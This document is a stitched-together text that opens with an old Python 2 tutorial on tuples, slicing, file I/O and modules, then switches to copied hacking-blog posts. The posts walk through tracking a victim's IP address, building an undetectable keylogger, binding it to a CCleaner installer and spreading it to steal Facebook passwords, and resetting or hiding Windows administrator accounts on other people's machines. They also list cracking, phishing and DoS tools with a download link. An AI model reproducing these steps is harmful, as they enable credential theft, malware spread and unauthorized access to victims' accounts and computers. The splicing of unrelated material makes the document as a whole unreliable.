A few other features of loops bear mentioning: break, continue, and else. break will completely break out of a loop, bypassing any statements (and else clauses, as we shall see). continue will stop where it is in the loop and go on with the next iteration. else clauses, which can be used on any loop (not just if), specify code to execute after the loop is finished, e.g. in a for loop there are no more items to iterate through. Look at this slightly-modified-but-still-cheesy example:
>>> for i in range(3):

... name = raw_input( "What's my name? " )

... if name != "Dave":

... print "Wrong!"

... continue

... else:

... print "Damn straight!"

... break

... else:

... print "Too many guesses! You're wrong!"

...

What's my name? David

Wrong!

What's my name? David

Wrong!

What's my name? David

Wrong!

Too many guesses! You're wrong!

>>> #Try it again, but I won't type the code here again

What's my name? Dave

Damn straight!

Well, so much for control structures...
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Intermediate Python

Tuples!

Well, here we are, at the much-hyped tuple section. Tuples are another type of variable that resemble lists but are more general and have a wider range of features. They are usually put in parentheses (), but sometimes parentheses aren't even necessary to assign them:

>>> t = (1, 2, 3) #Wow, our first tuple :)

>>> t

(1, 2, 3)

>>> t + 1, 2, 3 #Who needs parentheses? Well most of the time you do...

>>> t

(1, 2, 3)

>>> t[0] #Still use brackets to get indexes

1

>>> t = 1, #You need the trailing comma, or else t is just an int

(1)

Great, you say, but what makes these "tuples" more special than any old lists? Well, for one thing, tuples can be nested in one another:
>>> tu = tuple(range(1,4)) #Note use of tuple function

>>> ple = tuple(range(4,7))

>>> tuples = tu, ple

>>> tuples

((1, 2, 3), (4, 5, 6))

>>> print tuples[1][1] #Access it like this

5

Nesting tuples together like this can provide a substitute for things like two-dimensional arrays (arrays of arrays) in C without all that pesky pointing. Also notice, just for convenience, the tuple() function. This just converts any old list into any old tuple. Its opposite, the list() function, also exists. There's another little nifty feature of tuples that bears talking about: packing and unpacking. Packing a tuple is basically what we've seen above, putting two or more variables in a tuple just with commas. Unpacking can also be useful. Try to see how this works:
>>> n = tuple(range(1,6))

>>> a1, a2, a3, a4, a5 = n

>>> print a1, a2, a3, a4, a5

1 2 3 4 5

In case you didn't quite understand that, what the second line did was take each member of the tuple n and assign it to a different variable, a1 through a5. This unpacking, just so you know, also works with lists. Just put the list of variables in list brackets []. Note how these two examples do the same thing:
>>> l = range(1,4)

>>> [l1, l2, l3] = l

>>> t1, t2, t3 = tuple(l)

>>> print l1, l2, l3, "\n", t1, t2, t3

1 2 3

1 2 3

When you're unpacking a bunch of tuples, just remember that the number of variables in your list has to equal the length of the tuple. There is one more interesting opportunity afforded by tuple packing and unpacking, namely multiple assignment. It may seem like this has nothing whatsoever to do with tuples, but look now, I'll explain later:
>>> a, b = 0, 1

>>> a

0

>>> b

1

Look at that, a and b assigned different values in the same line! Very useful, very simple. Now, since this is the Intermediate section, an explanation (rather simple though) is in order. First look on the right: the values 0 and 1 are packed into a "temporary" tuple. which I'll call t but I'm not sure really has a name. Now on the left. a and b, since they are a comma-separated sequence, are about to receive an unpacked tuple. This tuple is t. Just like normal unpacking, the first element of t goes in a and the second in b. Voila! There's your multiple assignment.
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Strings and Slice Indexing

Remember waaayyy back up somewhere where I had a string indexed like a[1:]? Well, that's a simple example of slice indexing. With slice indexing you can take more than just one element of a string (or list or tuple, but it's usually more useful with strings), in fact you can take a whole slice out of it (hence the name). Just put two numbers, the starting and ending indices, inside your brackets. Observe:

>>> s = 'supercalifragalisticexpialidotious'

>>> s[0:5]

'super'

Wait, that's not right! Element 5 of s is 'c', not 'r'! Well, I lied before. The second number is one more than the highest index you want. (Remember range()? It's just like that.) Another one of those things you'll just have to deal with, I guess.
Now, what about that example I gave earlier? There was no second index, right? Precisely. There are of course default indexes for before and after the :. Before the colon defaults to 0, after defaults to len(s), or the length of the string:

>>> s = 'supercalifragalisticexpialidotious'

>>> s[:5]

'super'

>>> s[27:]

'dotious'

You may think it inconvenient to have to count all the way to the 27th letter of s in order to get dotious. Say you just wanted the last 7 letters. Remember I said negative index numbers work too? Well they do here, too, with slicing. Just make sure the beginning index comes before the ending (you'll see what I mean):
>>> s = 'supercalifragalisticexpialidotious'

>>> s[-7:]

'dotious'

>>> s[int(-.5*len(s)):len(s)-5] #Indices can be any int expressions

'ticexpialido'

>>> s[:] #A plain colon is the same as no colon

'supercalifragalisticexpialidotious'

>>> s[:10]+s[10:] #As a rule of thumb, s[:n]+s[n:]=s

'supercalifragalisticexpialidotious'

>>> s[-5:5]

''

See what happens when the indices don't match up? No string. Hey, it's better than an error, but still not what you want. Moving on, then, why would I devote an entire section to slice indexing? Well, I think it's pretty damn neat. It also lets you splice (not slice, splice) together strings in weird and sometimes cool (not to mention useful) ways. Look at this non-useful way:
>>> #Mixes two names together. You could make this more sophisticated, like making sure

... #a vowel in the first name is followed by a consonant in the second.

... name1 = raw_input( "Type a name: " )

Type a name: Dave

>>> name2 = raw_input( "Type another name: " )

Type another name: Guido

>>> print name1[:3]+name2[-3:]

Davido

Of course, I'm sure you'll find much more practical uses for splicing and slicing, but hey, I gotta show you how it works first, don't I?
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File I/O

How can you have a programming language without a way to access other files on the system? I really don't know, but that's alright since Python can do it. Well, then you're probably wondering how. Basically, first you need to open the file and assign it to an object. Object? We haven't talked about those, have we? Objects are like structures (more properly classes) in C, record in some other languages. Basically they are a data type that is made up of other data types combined, including (and in some cases especially) functions. File handles (variables that refer to a file to be opened) are, predictably, of the file object type. You assign a file handle using the open function, like this:

>>> f = open( "myfile.txt", "r" )

>>> f #This will vary

<open file 'myfile.txt', mode 'r' at 0x8122338>

I hope you know what myfile.txt is (hint: the file to be opened). The "r" part is a mode for opening the file. The mode you open the file in tells Python whether you're going to read data from the file, write data to the file, etc. Here's a list of the modes you can use:
r - Reading
w - Writing
a - Appending (same as writing, only any new data is written at the end of the file)
r+ - Reading and writing
No argument - Reading
Note that Python won't give you an error if you specify some mode other than these. Be warned that it might make some unexpected things happen later on, though. In Windows and MacOS there is also a binary mode, "b", which is important but a bit confusing. Binary mode treats all characters as normal characters, including newlines. The other modes, as we shall soon see, can rely on newlines to separate or find data. The first of these newline-using methods is readline. To access the readline method for a file object, put 'readline()' after the object's name and a period. This returns a string containing the next line in a file. Also available is readlines, which reads all the lines of a file into a list. readlines can take an optional argument that specifies the most bytes it should read from the file, plus whatever it needs to reach the end of a line. One more thing: readline (or readlines) returns an empty string '' if the end of the file has been reached. Finally, an example:
>>> f.readlines() #Our imaginary file; create it if you want

['This is the first line\012', 'This is the second line\012', "Hmm I'm running out

of creative things to say\012", 'Alright, this is the last line']

>>> f.seek(0) #You need this to go back to the beginning of the file; see below

>>> f.readline()

'This is the first line\012'

Just in case you're wondering, the \012 at the end of every line is just a newline. When reading files, Python replaces simple \ characters like \n with their hex (ASCII) code. If you didn't get that, just remember that \012's are really \n's. There are three (maybe four) more important methods of files. First, read and seek. read just reads the entire file into a string, or a maximum number of bytes if you specify it. seek needs one argument, which is the offset in the file to go to, or seek. Huh? Well, Python reads files by putting a little pointer in one and moving it along. When you read from a file, the little pointer moves along to the end of the part you read. If you read again, it'll start from where the pointer left off. seek will tell the pointer to go back (or forward) to a specified point in the file. Here's another example, using the same imaginary file as above:
>>> f.seek(12) #Offsets start at 0, therefore 12 is 'f'

>>> f.read(10)

'first line'

>>> f.seek(0)

>>> f.read() #Whole file. You probably shouldn't do this with big files.

"This is the first line\012This is the second line\012Hmm I'm running out

of creative things to say\012Alright, this is the last line"

Then, finally, there is the write function, which (surprise!) writes to your file. Just put in the parentheses the string you want to write. Be sure you have a file opened in mode w, r+, or a, though! Also, if you want to create a new file you must use the mode w or a, not r+. The last method is close, which closes the file and frees up any memory it's been using. It's always good programming practice to close any files when you're done with them or before you leave. One last example for this section, then we move on:
>>> f = open( "mynewfile.txt", "w" )

>>> f.write( "This is some text" )

>>> f.close()

>>> f.read() #Oops! Can't read a closed file (or a write-only file for that matter)

Traceback (most recent call last):

  File "<stdin>", line 1, in ?

ValueError: I/O operation on closed file

>>> f = open( "mynewfile.txt" )

>>> f.read()

'This is some text'

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Modules

Overview and Importing

Before we talk about Python's wide variety of builtin modules, let's go over what a module is first and how to get to them. A module is a script (or compiled library) that can be loaded into the interpreter environment separately from the core language of Python. Modules are accessed with the import statement, which can be used in a number of ways:

>>> import sys #For these examples we're using the builtin sys module

>>> sys.argv #Access names from the modules like you would an object

['']

>>> from sys import argv #Another way to call it

>>> argv

['']

>>> from sys import * #Get everything in the sys module

>>> stdout

<open file '<stdout>', mode 'w' at 0x80d34b0>

Confusing? Not really. Let's go through it. The first line imports the module sys (one of the builtin modules). Notice on the next line that we needed to call a member of sys, argv (the arguments passed to the interpreter), with a . like we did for objects. This is using the so-called sys namespace, i.e. all sys members are accessed using, obviously, the name 'sys'. Alternatively, if we put 'from <module> import <members>', we use the global namespace. Then you can access the method's members just like any other sort of local variables or base functions. If you want to use the whole module in the global namespace, just do a 'from <module> import *'. Not too hard, eh?
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Builtin Modules

Python, being the versatile language it is, has a large selection of modules built into the default distribution. And I do mean large: at my count, there are 196 modules available in Python 2.0 (including obsolete and OS-specific ones). When I say "builtin," this doesn't mean you don't have to import them, just that they should be included in Python installation. So, I'll list a choice 5 or so here, with basic descriptions of what they do and only a few of their members.

sys - Basic system/program functions
argv - List of commands passed to the interpreter
stdout, stdin, stderr - Basic standard output, standard input, and standard error. These can be accessed like normal files.
exit - Exits the program gracefully, accepting a value as the exit code (basically 0=good exit, non-0=error)
path - The paths Python looks in to find modules to import
math - Mathematical functions and constants. I won't list them all here, but math contains many functions like sin, acos, tanh, log, etc. Here are the constants:
pi - The mathematical constant π. The ratio of a circle's diameter to its circumference, approximately 3.1415926535897931
e - The base of the natural logarithm (ln). Get it with the sum of 1/k! for all numbers k 0->infinity. Oddly enough, factorials (and infinity) are not in the math module.
string - Functions for more manipulations of strings
printable - A string of all so-called printable characters. Also available are digits, letters (uppercase and lowercase), whitespace, and punctuation.
atoi, atof, atol - Convert strings to int, float, and long, respectively. In Python 2.0 you should use builtins functions int, float, and long.
find - Find the lowest index where the second string (argument) appears in the first.
count - Count the number of times the second string appears in the first.
split - Split the string given in the first argument by whitespace characters; return a list. If a second argument is given, the string is split according to that instead of whitespace.
strip - Strip leading and trailing whitespace from the given string.
replace - Replace all occurrences of the second string in the first string with the third string. Err, look at it this way: replace( str, "old", "new" ) replaces all occurrences of "old" in str with "new".
random
seed - Seeds the random number generator with three optional arguments; defaults to the current time
random - Returns the next random number as a floating-point number between 0 and 1.
randint - Returns a random number between two given integers.
uniform - Same as randint, only with floating-point numbers.
choice - Randomly chooses an element from the specified list or tuple.
time - Functions for getting and manipulating local and arbitrary times. See the Python library documentation for more complete information.
time - No arguments, returns a long number that's your system's current time, in seconds since...some time. Not really useful without some sort of parser, except for seeding randoms.
localtime - A parser. Given a time (like that returned by the time function), it returns a tuple with the following information: year (four-digit), month (1-12), day (1-31), hour (0-23), minute (0-59), second (0-61 - 60 & 61 for leap seconds, never used), weekday (0-6, Monday is 0), day (1-366), daylight savings time (0 - no, 1 - yes, -1 - system default). Useful :)
gmtime - Same as above, except in Greenwich Mean Time, not your system's local time.
asctime - Given a tuple from localtime or gmtime, returns a string in the format 'Thu Mar 22 18:24:35 2001'.
re - Regular expression (regexp) operators. I won't cover them here, but I thought all you Perl fans out there might like to know they exist in Python. There are some definite peculiarities about regexps in Python, so read the docs...docs are your friends :).
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User-Defined Modules and Functions

Of course, what use are all these modules if you can't use your own? Well, a user-defined module is just a .py file in one of Python's module directories. To import the module, it's run, and any functions, variables, classes, etc. are imported in. You can specify what to import, just like for any other module. Well, then, that's all well and good, but a big part of these modules is functions. How to make your own functions, then? Ok.

Alright. So we want a function. Since I like math, we'll do a simple logarithm to any base using the log function in the math module. Here we go, try this:

>>> def logb( b, n ):

... from math import log

... a = log(n)/log(b)

... if a - int(a) == 0: #a is an int

... return int(a)

... else:

... return a

...

How nice. Only a couple things should need explaining, unless you haven't taken high school algebra (hey no offense...I'm just a freshman :). This 'def' thing? Well, it's just the name of the function and the arguments it takes. I should hope you have a good idea of what arguments are now. Then there's return. It's...uh...what the function returns :). Execution stops after a return statemnt, just like a break statement. Except it returns something. Ok. Well, I've kinda run out of things to say...so here's an example module, just for practice. Hey, this is a tutorial, isn't it? Let's go, put this in moremath.py:
#!/usr/bin/python

def logb( b, n ): #Definition

  from math import log #Need this!

  a = log(n)/log(b) #Change of base formula

  if a - int(a) == 0: #a is an int

   return int(a) #Get rid of that decimal :)

  else: #a is a float

   return a #Just return it

#Ye Olde Golden Ratio <www.verbose.net>

phi = 1.6180339887498948

And now in the interpreter:
>>> import moremath

>>> moremath.phi #Floating point numbers aren't that accurate, you may notice

1.6180339887499999

>>> from moremath import logb

>>> logb(2,1024)

10

Wow! A module! Just like other modules! But you did it myself! Or I did it yourself...or...wait...you did it yourself. If you look in the directory where you put moremath.py now, you'll now find a moremath.pyc file. This is a 'compiled' file, which is not really compiled (it's bytecode - kinda like a Java .class file), but has less memory overhead than a .py file. As far as I know .pyc files are not portable, though, so if you're just using this module for yourself you can use the .pyc but if you want to distribute it, I recommend you keep the .py file. In any case, it's certainly easier to edit your source if you still have a .py file. Any questions :)?
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In Closing

Why Python is Better than Perl

I admit it: maybe Python isn't better than Perl. It's different, to say the least. For many things it is better. And it's got definite advantages, and that's what I thought I'd just review, or look at, or list, or whatever. Here goes.

Intuitiveness. Instead of all that nasty, obfuscated code, Python has syntax and blocking that resembles, somewhat, normal (English) speech and indenting.
High-levelness. List slicing, tuple packing, etc. allow for high-level manipulation of data without all that mucking about with pointers...wait...that's C...and efficient though it may be, it sometimes even confuses the überhacker in me. But it's still easier in Python than Perl.
More integrated object-oriented (OO) support. OO in Perl involves working with hashes as classes and weird stuff like that. Bottom line, Python was designed from the start to be OO...even though I didn't talk about classes too much. Sorry.
Better C integration. Well, this is opinionated here, but I think embedding Python in C is easier than Perl...what can I say?
Interactive mode. No need to put scripts in separate files. You know what I'm saying.
Wider variety of data structures. Perl has arrays, hashes, and scalars. Python has scalars (int, float, long), lists, dictionaries (which I didn't talk about; they're like hashes or associative arrays), tuples. And it's extensible and evolving, according to the docs.
range function. People complain about the lack of a generic for loop, like Perl has. range really makes the for loop...without having a whole different type of loop. Less overhead. And you can use range for other things, too.
Monty Python. 'Nuff said.
Back to top

References

Python.org. A must-see.
Current Python docs. Gotta read them.
Zope. Great webserver written in Python.
Python section at ProgrammersHaven. More good links.
Black Sun Research Facility. Great site for networking, programming, cracking, OSes, etc. This tutorial should be published there :)
Pythonline. Monty Python, may or may not be the official site, I'm not sure.
Any comments, questions, glowing praise, rants, hatemail, feel free to mail me or leave a message for me at BSRF's message board. I'm a member, I check it regularly. Hatemail is ok, but death threats are discouraged.

Well, we've come to the end, at long last. I hope you've learned something, and you aren't too high on the adrenaline rush of coding. I'm not good at these ending things, so I think I'll just trail off right...about...now...

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War Texting Allows Hackers To Unlock Car Doors Via SMS

2011-08-01T13:19:00.000-07:00

Senior iSec researcher Don Bailey has developed an exploit which can allow the attacker to unlock car doors, hack car alarm system and even start their car, this method has been named as "War Texting", it took a time span of less than two hours for Don Bailey to hijack into Car's Alaram system and remotely start the car.

Resources claim that bailey will demonstrate this hack next week in Black Hat Security Conference at Los vegas where he will show the live demonstration of this attack. The presentation is named as "War Texting"

How to get IP address of another computers Remotely

2011-08-01T13:07:00.000-07:00

Hello friends, today i will explain you how to get IP address of any computer remotely. Using some very basic tricks we can find the IP address of any remote computer and then you can start your further hacking into the remote system like port scanning and finding vulnerabilities to enter in to the system and hack it.

There are several methods to get an IP address of the victim but i will share few and specially the best one's that can tell you IP address in just few clicks and also all are free methods and special thing is about it is all are manual methods that means you did not require any tool.

4 ways to get the IP address of the Victim or another Computer:

1. Using PHP notification Script

2. Using Blogs and Websites

3. Using Read Notify service

4. Sniffing during Gmail and yahoo chat sessions

As we are here to learn concepts so i will first explain what is an IP address and what's its importance. So friends very basic question What is an IP address? Why its important for hackers and security professionals?

What is an IP address?

Basically IP address (Internet Protocol address) is a unique numerical value that is assigned to any computer or printer on a computer network that uses an internet protocol for communication purpose. Protocol is basically rules( for Network its rules for communication).

IP address serves for two basic purposes:

1. Host or network interface identification

2. Location Addressing

For exploring more about IP addressing read on wikipedia.

How to Find IP address of another computer?

1. Using PHP notification Script

Using this Notification script you can get the IP address in just seconds. Steps of using this PHP script:

a. Download the PHP notify script and extract files.

Download PHP notification script here

b. Now you will get two files IP.html and index.php . You need to upload these two files to any free web hosting server.

Example: i used www.my3gb.com to upload these two files. Create an account there and upload these two files there as shown below.

c. Now you will need to send the link of index.php to the victim whose password you want to get. to get the link click on index.php shown in above snapshot. Now a new window will open copy the link in the address bar and send to the victim whose IP address you want.

d. Now when the victim opens the above link nothing will open but his Ip address is written into the ip.html file. So open the ip.html file to get his IP address.

e. That's all this method... I hope you liked it.

2. Using Blogs and Websites

This method is for those who have their blogs or websites. Normal users can also do this as blog is free to make. Make a new blog and use any stats service like histats or any other stats widget. Just add a new widget and put histats code there and save template. And send the link of your blog to your friend and get his IP.

That's only.

3. Using Read Notify service

This is an email based service. Steps to use Read Notify service:

a. First open the Read Notify website : RCPT

b. Now register on this website and then it will send you confirmation mail. Verify your account.

c. Once your account is activated.

Do the following steps use this service:

Compose your email just like you usually would in your own email or web email program

Type: .readnotify.com on the end of your recipients email address (don't worry, that gets removed before your recipients receive the email). Like this: shiviskingg@gmail.com.readnotify.com

Send your email

Some things to remember:

don't send to and from the same computer

if your email program 'auto-completes' email addresses from your address book, you'll need to keep typing over the top of the auto-completed one to add the .readnotify.com

if you are cc-ing your email to other readers, you must add tracking to all of them

4. Sniffing Yahoo and Gmail Chat sessions

With the help of Sniffers like ethereal, wireshark etc we can sniff the Gmail, and yahoo chat sessions while we are chatiing to any our friend and extract the IP address from there. I will explain this trick in detail in my next article as its a long article in itself.

5. Bonus Method for Online Gamers

We can also get the IP address from online games like counter strike, age of empires in Game ranger etc.. Many counter strike servers use amx mode. Just view which people are connecting and whats their IP addess as plugins show the IP address of people connecting to the game server. If you have more access to counter strike server you can use status command in console. Just go to console and type "status"(without quotes) and press enter there you can see all players details his steam ID and much more depending upon server.

Hack Facebook passwords or accounts remotely

2011-01-07T07:00:00.000-08:00

How to hack the Facebook password or accounts remotely using keylogger method. Its a 100% working hack and you can easily hack anyone's Facebook account or password using this hack. In this tutorial i will explain you how to hack Facebook and other passwords of any user using 100% FUD keylogger. The keylogger in this tutorial we will discuss is L33ts keylogger and its 100% FUD(fully undetectable).

Hacking Facebook account is very easy and just requires not more than 10 minutes of work. Don't worry i will also tell you how to protect your facebook account or passwords from such hacks and hackers. But for this you must know how hackers hack your facebook account. So first i teach you how to hack facebook account remotely and then i will tell how to protect yourself from this.

NOTE: This tutorial is for Educational purposes only i.e. to make you aware how hackers hack your Facebook accounts. Please don't misuse it. I and Isoftdl is not responsible for any damage caused by you.
So guys lets start hacking Facebook account or passwords....
Steps to hack Facebook account using Keylogger:
1. Creating the Keylogger Server to hack Facebook passwords.
2. Extracting the Icon from installer.
3. Bind the keylogger server with any software setup.
4. How to spread your keylogger or send it to your friends to hack their Facebook accounts or passwords.

Step 1. Creating the Keylogger Server
1. Download the keylogger.
Download

2. Extract the file, Now you will get two folders:
a. First one contains Keylogger and Binder
b. Second Contains resource hacker tool.( to extract the icons from installers).

3. Now open the Keylogger. It contains two files one for gmail email and other for password. For this create one test account on Gmail and enter it's details in this.

4. After entering email and password. Set the time interval usually set 3 mins i.e. after how much time you want to receive logs from the user.
5. Now click on send verification mail. This mail is to test that your keylogger is working correctly or not.
6. After you click this you will receive a confirmation mail on test account which will confirm that keylogger is working.
7. Now click on generate to set the mutex (any secret key to make your keylogger FUD) and then click on compile server.
8. Now save the file to desktop or any other location of your choice. Now your server is ready but it can be easily detected.

Step 2.: Extracting the Icon file from any installer(resource hacker)
1. Open the Resource hacker folder and open the reshacker file.
2. Now go to its menu and open any setup file. Suppose we want to attach our keylogger to Ccleaner setup file. So open the Ccleaner setup with resource hacker.
3. Now in menu there is one action button click on it and then click save all resources.

4. Now save all the resources to desktop or any other location of your choice.
5. It consists of two files one is icon file and other is res file . We only need icon file, so you can delete the other file i.e res file.
6. Now we have Icon of installer file(as discussed above Ccleaner setup Icon).

Step 3: Bind the Keylogger server with any software
1. Now Go to keylogger folder and open the Binder.
2. Now Click on + button given below to add files.
3. Now add the keylogger server and the set up of software (i.e. in our case it's Ccleaner setup).
4. Now in menu of Binder, Go to Settings. There select the icon that we have generated in the previous step and set the location of output file as shown in figure.

5. Now again go to File's menu in Binder and click on Bind files.
6. Now your Binded keylogger is ready. Now you have to spread it or send it to the victim that is your friend.

Step4 : How to Spread Keylogger or send it to victim or friend
1. Now you have one Software setup file with keylogger attached with it.(In our case we have Ccleaner setup with keylogger attached with it.
2. Now Spread your keylogger through forums. You might be a member of various forums use them to spread your keylogger in form of software posts. You can use various software's to spread them that users frequently download.
3. Spread it through pendrives or USB hard drives. Suppose a friend asked you for a software give it the software that has keylogger attached with it.
Note: you can also attach keylogger with images also. But that can be detectable by antivirus. So avoid such type of hacking.
So isn't that so easy to hack anyone's Facebook account in just few minutes.

How to protect yourself from these hacks?
Prevention is always better than cure so always follow these steps:
1. Don't use cracked softwares and don't download them from unauthorized websites.
2. Always keep your antivirus and anti-spyware up to date.
3. Always scan the files before transferring them to your USB.
4. Do not allow other users to use your PC i.e password protect it.

How to Hack Admin or Adminstrator Account

2011-01-01T07:17:00.000-08:00

Welcome back today i am going to share with you all possible ways to hack admin or administrator account in windows XP. Today i will explain how to hack admin or administrator account in just 2 minutes. So guys get ready to hack your friends systems in 2 minutes.

Most of times specially in our college we don't have the access to the admin account, now suppose you want to install a software on that system. What you will do now? Ask the admin to enter the password for you or simply hack it by yourself.lol

There are four ways to hack the admin password:

1. Simply accessing Unprotected Administrator Account.

2. Hacking Through Net User Command.

3. Hacking Using the ERD(Emergency Rescue Disk) Commander.

4. Resetting admin password using Ubuntu Live CD or DVD.

Lets start from the first technique to hack the admin or administrator password..

1. Simply Accessing the Unprotected Admin or Administrator account.

How this hack works ? When we install windows XP on our system we usually rename the username as our name or some other keyword. But windows always creates the administrator account whenever we set up windows XP. So when you create your user account during install , windows creates two accounts that is one is your username account and other is Administrator account. But the main thing is that you will only see the account with your username and the Administrator account is hidden but its there and you can easily access that using the following steps:

Step1: Start your computer.

Step2: Now let it start until the windows user's username appears as shown in snapshot below...

Step3: As This Window Appears Press Ctrl+Alt +Delete (2 times).. Now the Windows like shown below appears..

Step4: Now as shown above Enter the Administrator on the Username box and press enter... Now you will be login in the admin account can easily rest the password...

For Resetting password you can follow two Procedures..

Procedure 1: Goto Start --> Control Panel --> User Accounts.. Now select the account whose password u want to reset.

Procedure 2 : Follow the Next method i.e hacking password through Net User Command.

Note: Hack 1 will only work if Administrator(default) is unsecured i.e User as some other username like above shown figure...

2. Hacking admin or administrator account using net user command

Note: This will work only when user has access of user account or some how he has been allowed or working in admin account.

Steps to hack admin account:

Step1: Goto the Start and click on Run and Type cmd and press enter ...

Step 2: Now type "net user" in the command prompt to obtain the All accounts on that computer.. as shown in figure..

Step 3: Now Select the account Which u want to Reset the Password...

Suppose that we want to Reset the Password of Administrator...

Now Type "net user Administrator * " Without quotes... and press Enter. As shown in the Below Figure..

Step 4: Now after that press Enter Twice to rest the password. Now Next time u open that Account .. It will not require any Password..

3. Hacking admin account using ERD commander (100% working hack)

This hack has no restrictions , using this hack you can hack each and every computer.

First of all Download the ERD(Emergency Rescue Disk) commander... Extract the Files and Make a CD...

DOWNLOAD

STEPS INVOLVED :
1. Insert the ERD Commander Boot CD into the drive and restart the system
2. Boot the computer using ERD Commander Boot CD. You may have to set the boot order in the BIOS first.
3. Select your Windows XP installation from the list as shown.
4. From the ERD Commander menu (Start menu), click System Tools and click Locksmith
5. Click Next

6. Select the administrator account from the list for which you want to reset the password.
7. Type the new password in both the boxes, click Next and click Finish
8 . Restart The System and take the CD out of the Drive..And Enjoy Admin account...

Method 4: Resetting windows password using Ubuntu Live CD or DVD
For this hack you will require the Ubuntu Live CD.

Steps involved :

Insert Ubuntu Live CD and boot from it.
Open terminal and install chntpw in Ubuntu. To do so use the following commands.
sudo apt-get update
sudo apt-get install chntpw
Now mount your Windows volume. In my case it was dev/sda1. Replace it with yours.
sudo mkdir /media/WINDOWS
sudo mount /dev/sda1 /media/WINDOWS
Now navigate to the Windows configuration folder.
cd /media/WINDOWS/WINDOWS/system32/config/
To reset the administrator password enter
sudo chntpw SAM
After completing this command you will see 5 different choices. Select the 1st one and press Enter and its done.
Now restart your system, it will not ask any password.

Create Hidden Account In Windows XP

2010-12-30T10:02:00.000-08:00

This time i will show you how to Create Hidden Account In Windows XP, Since we are going to do all the Editing in Window Registry it is Recommended to Back Up the Registry before going Further.

After you have Backed up your registry follow the Steps to Create your Hidden Account:
First Goto Start -> Run -> Type regedit -> Enter
In the Left Menu goto,

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Cu rrentVersion\Winlogon\SpecialAccounts\UserList

>In the Right pane, Right click -> New -> String Value
>Right click on the new String Value and click Rename
>Type the Name of the Account you want to hide.
>Hit Enter then Right click on the String Value again and Change value to 0 which hides it. If you want it to be Visible to all Enter the Value 1.
>Now Save and Exit the Registry and Logoff.
>Goto welcome screen and Hit ctrl+alt+del twice to bring up Logon prompt
Type hidden Accounts name and password.. thats all..

Fix Folder Options Missing Problem

2010-12-30T09:55:00.000-08:00

Today I am going to show you how to get back the Folder Options which got invisible when you messed with your Computer .Most of times it happens that viruses infects your system and folder options becomes missing. well 90 percent of us doesn't delete things on our Computer we just modify their properties like either to hide them or corrupt them.lol. And your information, there are several ways to recover from that.
STEPS :-
1. Go to the Start Menu and open RUN

2. In the Run Type "gpedit.msc" (Without quotes) and press enter.

3.Now you will see Something like this..

4.Now Go to User Configuration>>>Administrative Templates>>>Windows Component>>>Windows Explorer.

5.Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu".

6.Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

7.I hopes that you will find the option after restarting windows.

/....Enjoy....

Hacking and Cracking Kit

2010-12-30T09:10:00.000-08:00

_________________________________________________________________________________
Very hacking tool is known as a virus becoz as it is used for hacking, Anti virus detects it as virus...
..I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY THESES CONSENTS..
__________________________________________________________________________________

Contents:-

- Anon FTP
- Arpinject
- Aspack21
- Atk-2.1
- Bios Pas Remover
- BlasterW32
- Blue
- BMP Ripper
- Brutus
- CASXM138
- CAYZODQF
- CGI Founder v1.043
- CGI Sscan
- Cia10
- Cragle
- Crack Zip
- Davs TR Retail
- Deep Un Freeze
- Dr VBS
- EES Binder
- FTP BR
- Genexe
- Grinder 1.1
- Hack Flash Tempelate
- Hack My Space
- Hack Photoshop CS2
- Hackers Assistant
- Hack the game
- H C K
- HL Boom
- Hotmail Scam Page
- Hydra
- John
- Key Logger
- Legion NetmBios Scanner
- Mail Bomb_2.0 YAHOO
- MIDNITE massacren
- NFO Maker
- Nimda
- Nkedb
- NT Packer
- NTS
- Null Ass Frontend
- P0kes WormGen
- Panther
- Pkp BB pass extractor
- phpBBAttacker
- Pqwak2
- Proxy Pro
- Rainbow crack
- Res Hacker
- Rocket
- RPC
- Rpc scan
- Sasser
- Send Mailer
- Show Pass
- Site Digger
- Smbat- win32bin
- SMB Die
- SMB Proxy
- Sprut
- Stealth- HTTP Scanner
- Super
- TFTPD32
- T Hunter
- Tina soft KILL
- UPD Flood
- Ultra Dos
- Visa Spam
- X Pass
- Yahoo Password
- Zehir
- Addr View
- AOL View
- App To Service
- Astaroth Joiner
- Bank Of America
- Cable Modem Sniffer
- Cap Keys DIGITAL
- C Ports
- C C Generator
- DDL Sites
- eBay
- E Gold.
- E-mail Cracker
- Database Defacer
- F.B.I. Binder
- FTP Brute Forcer
- Fuck Mail Bomber
- PhpBB_exploit_pack
- Google Hacker
- Hook Tool Box
- Hotmail Email Hacker
- Hotmail Hack
- HSBC-US
- Iecv
- IP2
- Ip Net Info
- Key Chenger
- Moore R. Port Scanner
- Msn Flooder
- Msn Account Cracker
- Msn Loader
- NET BIOS Scaner
- Net bios name scanner
- Net Res View
- NO limit cracker
- On-Off MSN
- OS Update Hack
- Pay Pal
- PC Any Pass
- Php Nuke Hacker
- phpBB Annihilator
- phpbb bruteforcer.
- phpBB_DoS
- phpBB_spammer
- phpBBAttacker
- phpBBcracker
- php Bug Scan
- PHP Fucker
- PhpNuke_ bypass
- Ping & Nukes
- Port Listener
- procexp
- Pro Mo
- phpBB Email harvester
- Remote Shut Down
- Server 2003 Keygen
- Server Killer
- Source Checker
- Source codes
- SQL Scan
- Super Scan
- Traceroute
- UC.Forum Spam
- USBank
- Win XP Activator
- Win XP Corperate Keygen
- Who is td
- Warez Sites
- Win Admin pass Hack
- Yahoo Ultra Cracker
- Web Cracker
- Win Xp Key Changer
- Win XP Key Viewer
- XP lizer
- Window Hide
- www Hack
- Win XP KeyGen.

Download hacking and cracking Software's Here

>> DOWNLOAD <<

Online Scanners and Malware Analysers

2010-12-27T13:26:00.000-08:00

Here is a compilation for a list of Online Scanners and Malware Analysers.
URL : Virus Total
About : VirusTotal is a service that analyzes suspicious files and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines.
Specs:

Free, independent service
Use of multiple antivirus engines
Real-time automatic updates of virus signatures
Detailed results from each antivirus engine
Real time global statistics

URL : Jotti's Malware Scan
About : Jotti's malware scan is a free online service that enables you to scan suspicious files with several anti-virus programs. Scanners used are Linux versions; detection differences with Windows versions of the same scanners may occur due to implementation differences. There is a 20MB limit per file. Keep in mind that no security solution offers 100% protection, not even when it uses several anti-virus engines (for example, this scan service).
Files uploaded here are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved. Read more about this in our privacy policy. If you do not want your files to be distributed, please do not send them at all.
URL : Anubis : Analysing Unknown Binaries
